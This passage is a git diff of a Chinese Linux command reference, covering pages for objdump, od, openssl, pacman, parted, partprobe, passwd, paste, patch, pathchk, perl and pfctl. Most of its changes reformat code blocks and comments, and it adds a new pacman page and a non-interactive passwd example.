指定目标码格式。这不是必须的,objdump能自动识别许多格式,比如: objdump -b oasys -m vax -h fu.o -显示fu.o的头部摘要信息,明确指出该文件是Vax系统下用Oasys编译器生成的目标文件。objdump -i将给出这里可以指定的目标码格式列表。 - --C ---demangle -将底层的符号名解码成用户级名字,除了去掉所开头的下划线之外,还使得C++函数名以可理解的方式显示出来。 +# 显示fu.o的头部摘要信息,明确指出该文件是Vax系统下用Oasys编译器生成的目标文件。objdump -i将给出这里可以指定的目标码格式列表。 +-C --demangle +# 将底层的符号名解码成用户级名字,除了去掉所开头的下划线之外,还使得C++函数名以可理解的方式显示出来。 --debugging -g -显示调试信息。企图解析保存在文件中的调试信息并以C语言的语法显示出来。仅仅支持某些类型的调试信息。有些其他的格式被readelf -w支持。 - --e ---debugging-tags -类似-g选项,但是生成的信息是和ctags工具相兼容的格式。 +# 显示调试信息。企图解析保存在文件中的调试信息并以C语言的语法显示出来。仅仅支持某些类型的调试信息。有些其他的格式被readelf -w支持。 +-e --debugging-tags +# 类似-g选项,但是生成的信息是和ctags工具相兼容的格式。 --disassemble -d -从objfile中反汇编那些特定指令机器码的section。 +# 从objfile中反汇编那些特定指令机器码的section。 --D ---disassemble-all -与 -d 类似,但反汇编所有section. +-D --disassemble-all +# 与 -d 类似,但反汇编所有section. --prefix-addresses -反汇编的时候,显示每一行的完整地址。这是一种比较老的反汇编格式。 +# 反汇编的时候,显示每一行的完整地址。这是一种比较老的反汇编格式。 -EB -EL --endian={big|little} -指定目标文件的小端。这个项将影响反汇编出来的指令。在反汇编的文件没描述小端信息的时候用。例如S-records. +# 指定目标文件的小端。这个项将影响反汇编出来的指令。在反汇编的文件没描述小端信息的时候用。例如S-records. -f --file-headers @@ -129,15 +122,15 @@ objdump -b oasys -m vax -h fu.o @file 可以将选项集中到一个文件中,然后使用这个@file选项载入。 ``` -### 实例 +### 实例 首先,在给出后面大部分测试所基于的源代码以及编译指令。 源代码如下:  -``` +```shell root@localhost [test]# nl mytest.cpp ``` -``` +```shell void printTest() { char a; a = 'a'; @@ -151,7 +144,7 @@ a+=2; 对以上源代码进行编译,如下:  -``` +```shell [root@localhost test]# g++ -c -g mytest.cpp ``` @@ -159,7 +152,7 @@ a+=2; **查看当前使用的objdump的版本号: ** -``` +```shell [root@localhost test]# objdump -V GNU objdump 2.17.50.0.6-14.el5 20061020 Copyright 2005 free Software Foundation, Inc. @@ -169,7 +162,7 @@ the GNU General Public License. This program has absolutely no warranty. **查看档案库文件中的信息: ** -``` +```shell [root@localhost test]# objdump -a libmy2.a In archive libmy2.a: myfile.o: file format elf32-i386 @@ -180,7 +173,7 @@ rw-r--r-- 0/0 727 Jul 13 15:32 2011 mytest.o **这里,libmy2.a是一个使用ar命令将多个*.o目标文件打包而生成的静态库。命令的输出类似`ar -tv`,相比较`ar -tv`输出如下: ** -``` +```shell [root@localhost test]# ar -tv libmy2.a rwxrwxrwx 0/0 2724 Nov 16 16:06 2009 myfile.o rw-r--r-- 0/0 727 Jul 13 15:32 2011 mytest.o @@ -188,7 +181,7 @@ rw-r--r-- 0/0 727 Jul 13 15:32 2011 mytest.o 显示可用的架构和目标结构列表:  -``` +```shell [root@localhost test]# objdump -i BFD header file version 2.17.50.0.6-14.el5 20061020 elf32-i386 @@ -247,7 +240,7 @@ trad-core **显示mytest.o文件中的text段的内容: ** -``` +```shell [root@localhost test]# objdump --section=.text -s mytest.o mytest.o: file format elf32-i386 Contents of section .text: @@ -259,7 +252,7 @@ Contents of section .text: **反汇编mytest.o中的text段内容,并尽可能用源代码形式表示: ** -``` +```shell [root@localhost test]# objdump -j .text -S mytest.o mytest.o: file format elf32-i386 Disassembly of section .text: @@ -295,7 +288,7 @@ void printTest2() **反汇编出mytest.o的源代码: ** -``` +```shell [root@localhost test]# objdump -S mytest.o mytest.o: file format elf32-i386 @@ -333,7 +326,7 @@ void printTest2() **显示文件的符号表入口: ** -``` +```shell [root@localhost test]# objdump -t mytest.o mytest.o: file format elf32-i386 @@ -358,7 +351,7 @@ SYMBOL TABLE: 这里,输出的信息类似`nm -s`命令的输出,相比较之下,nm命令的输出如下:  -``` +```shell [root@localhost test]# nm -s mytest.o 0000000c T _Z10printTest2v 00000000 T _Z9printTestv @@ -367,7 +360,7 @@ SYMBOL TABLE: **显示文件的符号表入口,将底层符号解码并表示成用户级别: ** -``` +```shell [root@localhost test]# objdump -t -C mytest.o mytest.o: file format elf32-i386 SYMBOL TABLE: @@ -393,7 +386,7 @@ SYMBOL TABLE: **反汇编目标文件的特定机器码段: ** -``` +```shell [root@localhost test]# objdump -d mytest.o mytest.o: file format elf32-i386 Disassembly of section .text: @@ -420,7 +413,7 @@ Disassembly of section .text: **反汇编特定段,并将汇编代码对应的文件名称和行号对应上: ** -``` +```shell [root@localhost test]# objdump -d -l mytest.o mytest.o: file format elf32-i386 Disassembly of section .text: @@ -456,7 +449,7 @@ _Z10printTest2v(): **显示目标文件各个段的头部摘要信息: ** -``` +```shell [root@localhost test]# objdump -h mytest.o mytest.o: file format elf32-i386 @@ -491,4 +484,3 @@ Idx Name Size VMA LMA File off Algn 这里,更多的内容参见`man objdump`中的这个选项。 - \ No newline at end of file diff --git a/command/od.md b/command/od.md index 0e403cd3516..df270d81b63 100644 --- a/command/od.md +++ b/command/od.md @@ -1,6 +1,6 @@ od === - + 输出文件的八进制、十六进制等格式编码的字节 ## 补充说明 @@ -9,15 +9,15 @@ od 常见的文件为文本文件和二进制文件。此命令主要用来查看保存在二进制文件中的值。比如,程序可能输出大量的数据记录,每个数据是一个单精度浮点数。这些数据记录存放在一个文件中,如果想查看下这个数据,这时候od命令就派上用场了。在我看来,od命令主要用来格式化输出文件数据,即对文件中的数据进行无二义性的解释。不管是IEEE754格式的浮点数还是ASCII码,od命令都能按照需求输出它们的值。 -### 语法 +### 语法 -``` +```shell od(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -a:此参数的效果和同时指定“-ta”参数相同; -A:<字码基数>:选择以何种基数计算字码; -b:此参数的效果和同时指定“-toC”参数相同; @@ -39,13 +39,13 @@ od(选项)(参数) --version:显示版本信息。 ``` -### 参数 +### 参数 文件:指定要显示的文件。 -### 实例 +### 实例 -``` +```shell [linuxde@localhost ~]$ echo abcdef g > tmp [linuxde@localhost ~]$ cat tmp abcdef g @@ -53,7 +53,7 @@ abcdef g 说明:先准备一个tmp文件 -``` +```shell [linuxde@localhost ~]$ od -b tmp 0000000 141 142 143 144 145 146 040 147 012 0000011 @@ -61,7 +61,7 @@ abcdef g 说明:使用单字节八进制解释进行输出,注意左侧的默认地址格式为八字节 -``` +```shell [linuxde@localhost ~]$ od -c tmp 0000000 a b c d e f g \n 0000011 @@ -69,7 +69,7 @@ abcdef g 说明:使用ASCII码进行输出,注意其中包括转义字符 -``` +```shell [linuxde@localhost ~]$ od -t d1 tmp 0000000 97 98 99 100 101 102 32 103 10 0000011 @@ -77,7 +77,7 @@ abcdef g 说明:使用单字节十进制进行解释 -``` +```shell [linuxde@localhost ~]$ od -A d -c tmp 0000000 a b c d e f g \n 0000009 @@ -85,7 +85,7 @@ abcdef g 说明:设置地址格式为十进制。 -``` +```shell [linuxde@localhost ~]$ od -A x -c tmp 000000 a b c d e f g \n 000009 @@ -93,7 +93,7 @@ abcdef g 说明:设置地址格式为十六进制 -``` +```shell [linuxde@localhost ~]$ od -j 2 -c tmp 0000002 c d e f g \n 0000011 @@ -101,7 +101,7 @@ abcdef g 说明:跳过开始的两个字节 -``` +```shell [linuxde@localhost ~]$ od -N 2 -j 2 -c tmp 0000002 c d 0000004 @@ -109,7 +109,7 @@ abcdef g 说明:跳过开始的两个字节,并且仅输出两个字节 -``` +```shell [linuxde@localhost ~]$ od -w1 -c tmp 0000000 a 0000001 b @@ -125,7 +125,7 @@ abcdef g 说明:每行仅输出1个字节 -``` +```shell [linuxde@localhost ~]$ od -w2 -c tmp 0000000 a b 0000002 c d @@ -137,7 +137,7 @@ abcdef g 说明:每行输出两个字节 -``` +```shell [linuxde@localhost ~]$ od -w3 -b tmp 0000000 141 142 143 0000003 144 145 146 @@ -148,4 +148,3 @@ abcdef g 说明:每行输出3个字节,并使用八进制单字节进行解释 - \ No newline at end of file diff --git a/command/openssl.md b/command/openssl.md index e8c8de25000..269291b9f9e 100644 --- a/command/openssl.md +++ b/command/openssl.md @@ -19,7 +19,7 @@ OpenSSL一共提供了8种对称加密算法,其中7种是分组加密算法 **非对称加密算法** -OpenSSL一共实现了4种非对称加密算法,包括DH算法、RSA算法、DSA算法和椭圆曲线算法(EC)。DH算法一般用户密钥交换。RSA算法既可以用于密钥交换,也可以用于数字签名,当然,如果你能够忍受其缓慢的速度,那么也可以用于数据加密。DSA算法则一般只用于数字签名。  +OpenSSL一共实现了4种非对称加密算法,包括DH算法、RSA算法、DSA算法和椭圆曲线算法(EC)。DH算法一般用于密钥交换。RSA算法既可以用于密钥交换,也可以用于数字签名,当然,如果你能够忍受其缓慢的速度,那么也可以用于数据加密。DSA算法则一般只用于数字签名。 **信息摘要算法** @@ -41,7 +41,7 @@ OpenSSL实现了5种信息摘要算法,分别是MD2、MD5、MDC2、SHA(SHA1 几乎所有 Linux 发行版都包含 openssl。我们可以利用它的随机功能来生成可以用作密码的随机字母字符串。 -```bash +```shell openssl rand -base64 10 # nU9LlHO5nsuUvw== ``` @@ -52,37 +52,37 @@ nU9LlHO5nsuUvw== 用SHA1算法计算文件file.txt的哈西值,输出到stdout: -``` +```shell # openssl dgst -sha1 file.txt ``` 用SHA1算法计算文件file.txt的哈西值,输出到文件digest.txt: -``` +```shell # openssl sha1 -out digest.txt file.txt ``` 用DSS1(SHA1)算法为文件file.txt签名,输出到文件dsasign.bin。签名的private key必须为DSA算法产生的,保存在文件dsakey.pem中。 -``` +```shell # openssl dgst -dss1 -sign dsakey.pem -out dsasign.bin file.txt ``` 用dss1算法验证file.txt的数字签名dsasign.bin,验证的private key为DSA算法产生的文件dsakey.pem。 -``` +```shell # openssl dgst -dss1 -prverify dsakey.pem -signature dsasign.bin file.txt ``` 用sha1算法为文件file.txt签名,输出到文件rsasign.bin,签名的private key为RSA算法产生的文件rsaprivate.pem。 -``` +```shell # openssl sha1 -sign rsaprivate.pem -out rsasign.bin file.txt ``` 用sha1算法验证file.txt的数字签名rsasign.bin,验证的public key为RSA算法生成的rsapublic.pem。 -``` +```shell # openssl sha1 -verify rsapublic.pem -signature rsasign.bin file.txt ``` @@ -90,31 +90,31 @@ nU9LlHO5nsuUvw== 对称加密应用例子,用DES3算法的CBC模式加密文件plaintext.doc,加密结果输出到文件ciphertext.bin。 -``` +```shell # openssl enc -des3 -salt -in plaintext.doc -out ciphertext.bin ``` 用DES3算法的OFB模式解密文件ciphertext.bin,提供的口令为trousers,输出到文件plaintext.doc。注意:因为模式不同,该命令不能对以上的文件进行解密。 -``` +```shell # openssl enc -des-ede3-ofb -d -in ciphertext.bin -out plaintext.doc -pass pass:trousers ``` 用Blowfish的CFB模式加密plaintext.doc,口令从环境变量PASSWORD中取,输出到文件ciphertext.bin。 -``` +```shell # openssl bf-cfb -salt -in plaintext.doc -out ciphertext.bin -pass env:PASSWORD ``` 给文件ciphertext.bin用base64编码,输出到文件base64.txt。 -``` +```shell # openssl base64 -in ciphertext.bin -out base64.txt ``` 用RC5算法的CBC模式加密文件plaintext.doc,输出到文件ciphertext.bin,salt、key和初始化向量(iv)在命令行指定。 -``` +```shell # openssl rc5 -in plaintext.doc -out ciphertext.bin -S C62CB1D49F158ADC -iv E9EDACA1BD7090C6 -K 89D4B1678D604FAA3DBFFD030A314B29 ``` @@ -122,13 +122,13 @@ nU9LlHO5nsuUvw== 使用生成因子2和随机的1024-bit的素数产生D0ffie-Hellman参数,输出保存到文件dhparam.pem -``` +```shell # openssl dhparam -out dhparam.pem -2 1024 ``` 从dhparam.pem中读取Diffie-Hell参数,以C代码的形式,输出到stdout。 -``` +```shell # openssl dhparam -in dhparam.pem -noout -C ``` @@ -136,25 +136,25 @@ nU9LlHO5nsuUvw== 生成1024位DSA参数集,并输出到文件dsaparam.pem。 -``` +```shell # openssl dsaparam -out dsaparam.pem 1024 ``` 使用参数文件dsaparam.pem生成DSA私钥匙,采用3DES加密后输出到文件dsaprivatekey.pem -``` +```shell # openssl gendsa -out dsaprivatekey.pem -des3 dsaparam.pem ``` 使用私钥匙dsaprivatekey.pem生成公钥匙,输出到dsapublickey.pem -``` +```shell # openssl dsa -in dsaprivatekey.pem -pubout -out dsapublickey.pem ``` 从dsaprivatekey.pem中读取私钥匙,解密并输入新口令进行加密,然后写回文件dsaprivatekey.pem -``` +```shell # openssl dsa -in dsaprivatekey.pem -out dsaprivatekey.pem -des3 -passin ``` @@ -162,71 +162,71 @@ nU9LlHO5nsuUvw== 产生1024位RSA私匙,用3DES加密它,口令为trousers,输出到文件rsaprivatekey.pem -``` +```shell # openssl genrsa -out rsaprivatekey.pem -passout pass:trousers -des3 1024 ``` 从文件rsaprivatekey.pem读取私匙,用口令trousers解密,生成的公钥匙输出到文件rsapublickey.pem -``` +```shell # openssl rsa -in rsaprivatekey.pem -passin pass:trousers -pubout -out rsapubckey.pem ``` 用公钥匙rsapublickey.pem加密文件plain.txt,输出到文件cipher.txt -``` +```shell # openssl rsautl -encrypt -pubin -inkey rsapublickey.pem -in plain.txt -out cipher.txt ``` 使用私钥匙rsaprivatekey.pem解密密文cipher.txt,输出到文件plain.txt -``` +```shell # openssl rsautl -decrypt -inkey rsaprivatekey.pem -in cipher.txt -out plain.txt ``` 用私钥匙rsaprivatekey.pem给文件plain.txt签名,输出到文件signature.bin -``` +```shell # openssl rsautl -sign -inkey rsaprivatekey.pem -in plain.txt -out signature.bin ``` 用公钥匙rsapublickey.pem验证签名signature.bin,输出到文件plain.txt -``` +```shell # openssl rsautl -verify -pubin -inkey rsapublickey.pem -in signature.bin -out plain ``` 从X.509证书文件cert.pem中获取公钥匙,用3DES加密mail.txt,输出到文件mail.enc -``` +```shell # openssl smime -encrypt -in mail.txt -des3 -out mail.enc cert.pem ``` 从X.509证书文件cert.pem中获取接收人的公钥匙,用私钥匙key.pem解密S/MIME消息mail.enc,结果输出到文件mail.txt -``` +```shell # openssl smime -decrypt -in mail.enc -recip cert.pem -inkey key.pem -out mail.txt ``` cert.pem为X.509证书文件,用私匙key,pem为mail.txt签名,证书被包含在S/MIME消息中,输出到文件mail.sgn -``` +```shell # openssl smime -sign -in mail.txt -signer cert.pem -inkey key.pem -out mail.sgn ``` 验证S/MIME消息mail.sgn,输出到文件mail.txt,签名者的证书应该作为S/MIME消息的一部分包含在mail.sgn中 -``` +```shell # openssl smime -verify -in mail.sgn -out mail.txt ``` 更多实例: -``` +```shell openssl version -a openssl help openssl genrsa -aes128 -out fd.key 2048 # pem format openssl rsa -text -in fd.key ``` - + diff --git a/command/pacman.md b/command/pacman.md new file mode 100644 index 00000000000..60ce0307a04 --- /dev/null +++ b/command/pacman.md @@ -0,0 +1,55 @@ +pacman +=== + +Arch Linux 系统及其衍生系统中默认使用的包管理器 + +## 安装 + +在安装 Arch Linux 时,会需要安装 base 包组,其中包括 pacman 包,具体 Arch Linux 安装流程请参见 [Arch Wiki(CN)](https://wiki.archlinuxcn.org/wiki/%E5%AE%89%E8%A3%85%E6%8C%87%E5%8D%97) + +## 实例 + +### 安装软件包 +官方软件包 +```bash +pacman -S p7zip +``` + +非官方软件包(用户制作) +```bash +yay -S package_name1 package_name2 ... +``` + +### 查询软件包 + +```bash +pacman -Ss package_name1 package_name2 ... +``` + +### 列出所有软件包 + +```bash +pacman -Q +``` + +### 删除某个软件包 + +```bash +pacman -R p7zip +``` + +或者是同时删除他的依赖 + +```bash +pacman -Rsc p7zip +``` + +### 开始滚动更新 + +```bash +pacman -Syyu +``` + +## 参考资料 + +- Archlinux 中文维基 diff --git a/command/parted.md b/command/parted.md index 5bab7e823e7..24512a5589a 100644 --- a/command/parted.md +++ b/command/parted.md @@ -1,33 +1,33 @@ parted === - + 磁盘分区和分区大小调整工具 ## 补充说明 **parted命令** 是由GNU组织开发的一款功能强大的磁盘分区和分区大小调整工具,与fdisk不同,它支持调整分区的大小。作为一种设计用于Linux的工具,它没有构建成处理与fdisk关联的多种分区类型,但是,它可以处理最常见的分区格式,包括:ext2、ext3、fat16、fat32、NTFS、ReiserFS、JFS、XFS、UFS、HFS以及Linux交换分区。 -### 语法 +### 语法 -``` +```shell parted(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -h:显示帮助信息; -i:交互式模式; -s:脚本模式,不提示用户; -v:显示版本号。 ``` -### 参数 +### 参数 * 设备:指定要分区的硬盘所对应的设备文件; * 命令:要执行的parted命令。 -### 实例 +### 实例 从串行技术出现以来,越来越多用户选择使用大容量的SATA硬盘创建磁盘阵列;特别是MD1000/MD3000,很轻易就突破2T的LUN,故在此给大家一些指引。 @@ -40,7 +40,7 @@ parted(选项)(参数) * 绿色代表你需要使用的命令。 * 红色代表你需要注意到的输出信息,在后续需要使用。 -``` +```shell [root@localhost ~]# fdisk -l Disk /dev/sda: 35.8 GB, 35862976512 bytes 255 heads, 63 sectors/track, 4360 cylinders @@ -55,7 +55,7 @@ Units = cylinders of 16065 * 512 = 8225280 bytes Disk /dev/sdb doesn't contain a valid partition table ``` -``` +```shell [root@localhost ~]# parted /dev/sdb GNU Parted Copyright (C) 1998 - 2004 free Software Foundation, Inc. This program is free software, covered by the GNU General Public License. @@ -75,12 +75,11 @@ Minor 起始点 终止点 文件系统 名称 标志 Minor 起始点 终止点 文件系统 名称 标志 1 0.017 2047.983 (parted)quit - ``` 如果必要,不要忘记更新`/etc/fstab`。 -``` +```shell [root@localhost ~]# fdisk -l Disk /dev/sda: 35.8 GB, 35862976512 bytes 255 heads, 63 sectors/track, 4360 cylinders @@ -102,7 +101,7 @@ Partition 1 has different physical/logical endings: phys=(1023, 254, 63) logical=(261, 21, 16) ``` -``` +```shell [root@localhost ~]# mkfs.ext3 /dev/sdb1 mke2fs 1.35 (28-Feb-2004) Filesystem label= @@ -125,7 +124,7 @@ This filesystem will be automatically checked every 28 mounts or 180 days, whichever comes first. Use tune2fs -c or -i to override. ``` -``` +```shell [root@localhost ~]# mount /dev/sdb1 /mnt [root@localhost ~]# df -h Filesystem 容量 已用 可用 已用% 挂载点 @@ -136,4 +135,3 @@ none 252M 0 252M 0% /dev/shm ``` - \ No newline at end of file diff --git a/command/partprobe.md b/command/partprobe.md index 32bb917b9ce..eeb9b188590 100644 --- a/command/partprobe.md +++ b/command/partprobe.md @@ -1,36 +1,36 @@ partprobe === - + 不重启的情况下重读分区 ## 补充说明 **partprobe命令** 用于重读分区表,当出现删除文件后,出现仍然占用空间。可以partprobe在不重启的情况下重读分区。 -### 语法 +### 语法 -``` +```shell partprobe(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -d:不更新内核; -s:显示摘要和分区; -h:显示帮助信息; -v:显示版本信息。 ``` -### 参数 +### 参数 设备:指定需要确认分区表改变的硬盘对应的设备文件。 -### 实例 +### 实例 使用partprobe不重启系统添加新的磁盘分区,主机自带硬盘超过300GB,目前只划分使用了3个主分区,不到70GB,如下: -``` +```shell [root@localhost ~]# df -h Filesystem Size Used Avail Use% Mounted on /dev/sda1 29G 3.7G 24G 14% / @@ -38,7 +38,7 @@ Filesystem Size Used Avail Use% Mounted on tmpfs 2.0G 0 2.0G 0% /dev/shm ``` -``` +```shell [root@localhost ~]# cat /proc/partitions major minor #blocks name @@ -50,14 +50,13 @@ major minor #blocks name 8 32 976896 sdc …省略其他 - ``` 现在需要给系统添加1个100GB的空间存放数据文件,而又不影响现有系统上业务的运行,使用fdisk结合partprobe命令不重启系统添加一块新的磁盘分区。操作步骤如下: **第1步 添加新的磁盘分区** : -``` +```shell [root@localhost ~]# fdisk /dev/sda The number of cylinders for this disk is set to 38770. There is nothing wrong with that, but this is larger than 1024, @@ -101,7 +100,7 @@ Syncing disks. **第2步 使用工具partprobe让kernel读取分区信息:** -``` +```shell [root@localhost ~]# partprobe ``` @@ -109,7 +108,7 @@ Syncing disks. **第3步 格式化文件系统:** -``` +```shell [root@localhost ~]# mkfs.ext3 /dev/sda4 mke2fs 1.39 (29-May-2006) Filesystem label= @@ -140,7 +139,7 @@ This filesystem will be automatically checked every 26 mounts or **第4步 mount新的分区`/dev/sda4`:** -``` +```shell [root@localhost ~]# e2label /dev/sda4 /data [root@localhost ~]# mkdir /data [root@localhost ~]# mount /dev/sda4 /data @@ -155,4 +154,3 @@ tmpfs 2023936 0 2023936 0% /dev/shm 使用partprobe可以不用重启系统即可配合fdisk工具创建新的分区。 - \ No newline at end of file diff --git a/command/passwd.md b/command/passwd.md index 26a603a95ae..a3f8df7368a 100644 --- a/command/passwd.md +++ b/command/passwd.md @@ -1,21 +1,21 @@ passwd === - + 用于让用户可以更改自己的密码 ## 补充说明 **passwd命令** 用于设置用户的认证信息,包括用户密码、密码过期时间等。系统管理者则能用它管理系统用户的密码。只有管理者可以指定用户名称,一般用户只能变更自己的密码。 -### 语法 +### 语法 -``` +```shell passwd(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -d:删除密码,仅有系统管理者才能使用; -f:强制执行; -k:设置只有在密码过期失效后,方能更新; @@ -24,105 +24,113 @@ passwd(选项)(参数) -u:解开已上锁的帐号。 ``` -### 参数 +### 参数 用户名:需要设置密码的用户名。 -### 知识扩展 +### 知识扩展 与用户、组账户信息相关的文件 存放用户信息: -``` +```shell /etc/passwd /etc/shadow ``` 存放组信息: -``` +```shell /etc/group /etc/gshadow ``` 用户信息文件分析(每项用`:`隔开) -``` +```shell 例如:jack:X:503:504:::/home/jack/:/bin/bash -jack  //用户名 -X  //口令、密码 -503  //用户id(0代表root、普通新建用户从500开始) -504  //所在组 -:  //描述 -/home/jack/  //用户主目录 -/bin/bash  //用户缺省Shell +jack  # 用户名 +X  # 口令、密码 +503  # 用户id(0代表root、普通新建用户从500开始) +504  # 所在组 +:  # 描述 +/home/jack/  # 用户主目录 +/bin/bash  # 用户缺省Shell ``` 组信息文件分析 -``` +```shell 例如:jack:$!$:???:13801:0:99999:7:*:*: -jack  //组名 -$!$  //被加密的口令 -13801  //创建日期与今天相隔的天数 -0  //口令最短位数 -99999  //用户口令 -7  //到7天时提醒 -*  //禁用天数 -*  //过期天数 +jack  # 组名 +$!$  # 被加密的口令 +13801  # 创建日期与今天相隔的天数 +0  # 口令最短位数 +99999  # 用户口令 +7  # 到7天时提醒 +*  # 禁用天数 +*  # 过期天数 ``` -### 实例 +### 实例 如果是普通用户执行passwd只能修改自己的密码。如果新建用户后,要为新用户创建密码,则用passwd用户名,注意要以root用户的权限来创建。 -``` -[root@localhost ~]# passwd linuxde //更改或创建linuxde用户的密码; +```shell +[root@localhost ~]# passwd linuxde # 更改或创建linuxde用户的密码; Changing password for user linuxde. -New UNIX password: //请输入新密码; -Retype new UNIX password: //再输入一次; -passwd: all authentication tokens updated successfully. //成功; +New UNIX password: # 请输入新密码; +Retype new UNIX password: # 再输入一次; +passwd: all authentication tokens updated successfully. # 成功; ``` -普通用户如果想更改自己的密码,直接运行passwd即可,比如当前操作的用户是linuxde。 +或通过管道符把`echo`命令和`passwd`命令的`--stdin`参数相结合,用一条命令来完成密码修改,无序交互。 +以 linuxde 用户的密码改成 123456 为例: +```shell +[root@localhost ~]# echo "123456" | passwd --stdin linuxde +Changing password for user linuxde. # 正在更改 linuxde 用户的密码。 +passwd: all authentication tokens updated successfully. # passwd:所有身份验证令牌都已成功更新 ``` + +普通用户如果想更改自己的密码,直接运行passwd即可,比如当前操作的用户是linuxde。 + +```shell [linuxde@localhost ~]$ passwd -Changing password for user linuxde. //更改linuxde用户的密码; -(current) UNIX password: //请输入当前密码; -New UNIX password: //请输入新密码; -Retype new UNIX password: //确认新密码; -passwd: all authentication tokens updated successfully. //更改成功; +Changing password for user linuxde. # 更改linuxde用户的密码; +(current) UNIX password: # 请输入当前密码; +New UNIX password: # 请输入新密码; +Retype new UNIX password: # 确认新密码; +passwd: all authentication tokens updated successfully. # 更改成功; ``` 比如我们让某个用户不能修改密码,可以用`-l`选项来锁定: -``` -[root@localhost ~]# passwd -l linuxde //锁定用户linuxde不能更改密码; +```shell +[root@localhost ~]# passwd -l linuxde # 锁定用户linuxde不能更改密码; Locking password for user linuxde. -passwd: Success //锁定成功; +passwd: Success # 锁定成功; -[linuxde@localhost ~]# su linuxde //通过su切换到linuxde用户; -[linuxde@localhost ~]$ passwd //linuxde来更改密码; +[linuxde@localhost ~]# su linuxde # 通过su切换到linuxde用户; +[linuxde@localhost ~]$ passwd # linuxde来更改密码; Changing password for user linuxde. Changing password for linuxde -(current) UNIX password: //输入linuxde的当前密码; -passwd: Authentication token manipulation error //失败,不能更改密码; +(current) UNIX password: # 输入linuxde的当前密码; +passwd: Authentication token manipulation error # 失败,不能更改密码; ``` 再来一例: -``` -[root@localhost ~]# passwd -d linuxde //清除linuxde用户密码; +```shell +[root@localhost ~]# passwd -d linuxde # 清除linuxde用户密码; Removing password for user linuxde. -passwd: Success //清除成功; +passwd: Success # 清除成功; -[root@localhost ~]# passwd -S linuxde //查询linuxde用户密码状态; -Empty password. //空密码,也就是没有密码; +[root@localhost ~]# passwd -S linuxde # 查询linuxde用户密码状态; +Empty password. # 空密码,也就是没有密码; ``` 注意:当我们清除一个用户的密码时,登录时就无需密码,这一点要加以注意。 - \ No newline at end of file diff --git a/command/paste.md b/command/paste.md index 88b1da923af..72b12d91175 100644 --- a/command/paste.md +++ b/command/paste.md @@ -1,28 +1,27 @@ paste === - + 将多个文件按列队列合并 ## 补充说明 **paste命令** 用于将多个文件按照列队列进行合并。 -### 语法 +### 语法 -``` +```shell paste(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -d<间隔字符>或--delimiters=<间隔字符>:用指定的间隔字符取代跳格字符; -s或——serial串列进行而非平行处理。 ``` -### 参数 +### 参数 文件列表:指定需要合并的文件列表。 - \ No newline at end of file diff --git a/command/patch.md b/command/patch.md index 2692a2a417f..d69c2a76533 100644 --- a/command/patch.md +++ b/command/patch.md @@ -1,21 +1,21 @@ patch === - + 为开放源代码软件安装补丁程序 ## 补充说明 **patch命令** 被用于为开放源代码软件安装补丁程序。让用户利用设置修补文件的方式,修改,更新原始文件。如果一次仅修改一个文件,可直接在命令列中下达指令依序执行。如果配合修补文件的方式则能一次修补大批文件,这也是Linux系统核心的升级方法之一。 -### 语法 +### 语法 -``` +```shell patch(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -b或--backup:备份每一个原始文件; -B<备份字首字符串>或--prefix=<备份字首字符串>:设置文件备份时,附加在文件名称前面的字首字符串,该字符串可以是路径名称; -c或--context:把修补数据解译成关联性的差异; @@ -50,10 +50,9 @@ patch(选项)(参数) --verbose:详细显示指令的执行过程。 ``` -### 参数 +### 参数 -* 原文件:指定需要打补丁的原始文件; -* 补丁文件:指定补丁文件。 +* 原文件:指定需要打补丁的原始文件; +* 补丁文件:指定补丁文件。 - \ No newline at end of file diff --git a/command/pathchk.md b/command/pathchk.md index 751d565a0a5..a7e81a988a6 100644 --- a/command/pathchk.md +++ b/command/pathchk.md @@ -1,21 +1,21 @@ pathchk === - + 检查文件中不可移植的部分 ## 补充说明 **pathchk命令** 用来检查文件中不可移植的部分。 -### 语法 +### 语法 -``` +```shell pathchk(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -p:检查大多数的POSIX系统; -P:检查空名字和“-”开头的文件; --portability:检查所有的POSIX系统,等同于“-P-p”选项; @@ -23,10 +23,9 @@ pathchk(选项)(参数) --wersion:显示版本号。 ``` -### 参数 +### 参数 * 文件:带路径信息的文件; * 后缀:可选参数,指定要去除的文件后缀字符串。 - \ No newline at end of file diff --git a/command/perl.md b/command/perl.md index 5e26f1ec204..9c066dd063c 100644 --- a/command/perl.md +++ b/command/perl.md @@ -1,30 +1,29 @@ perl === - + perl语言解释器 ## 补充说明 **perl命令** 是perl语言解释器,负责解释执行perl语言程序。 -### 语法 +### 语法 -``` +```shell perl(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -w:输出有用的警告信息; -U:允许不安全的操作; -c:仅检查文件的语法; -d:在调试下运行脚本程序。 ``` -### 参数 +### 参数 文件:要运行的perl脚本程序。 - \ No newline at end of file diff --git a/command/pfctl.md b/command/pfctl.md index c97c2dee9f6..c41cb33d9f1 100644 --- a/command/pfctl.md +++ b/command/pfctl.md @@ -1,6 +1,6 @@ pfctl === - + PF防火墙的配置命令 ## 补充说明 @@ -9,11 +9,11 @@ PF防火墙的配置命令 PF防火墙的功能很多,本站只列举一些基本配置。 -### 激活 +### 激活 要激活pf并且使它在启动时调用配置文件,编辑`/etc/rc.conf`文件,修改配置pf的一行: -``` +```shell pf=yes ``` @@ -21,14 +21,14 @@ pf=yes 也可以通过pfctl程序启动和停止pf: -``` -# pfctl -e -# pfctl -d +```shell +pfctl -e +pfctl -d ``` 注意这仅仅是启动和关闭PF,实际它不会载入规则集,规则集要么在系统启动时载入,要在PF启动后通过命令单独载入。 -### 配置 +### 配置 系统引导到在rc脚本文件运行PF时PF从`/etc/pf.conf`文件载入配置规则。注意当`/etc/pf.conf`文件是默认配置文件,在系统调用rc脚本文件时,它仅仅是作为文本文件由pfctl装入并解释和插入pf的。对于一些应用来说,其他的规则集可以在系统引导后由其他文件载入。对于一些设计的非常好的unix程序,PF提供了足够的灵活性。 @@ -46,24 +46,22 @@ pf=yes 空行会被忽略,以#开头的行被认为是注释。 -### 控制 +### 控制 引导之后,PF可以通过pfctl程序进行操作,以下是一些例子: -``` -# pfctl -f /etc/pf.conf 载入 pf.conf 文件 -# pfctl -nf /etc/pf.conf 解析文件,但不载入 -# pfctl -Nf /etc/pf.conf 只载入文件中的NAT规则 -# pfctl -Rf /etc/pf.conf 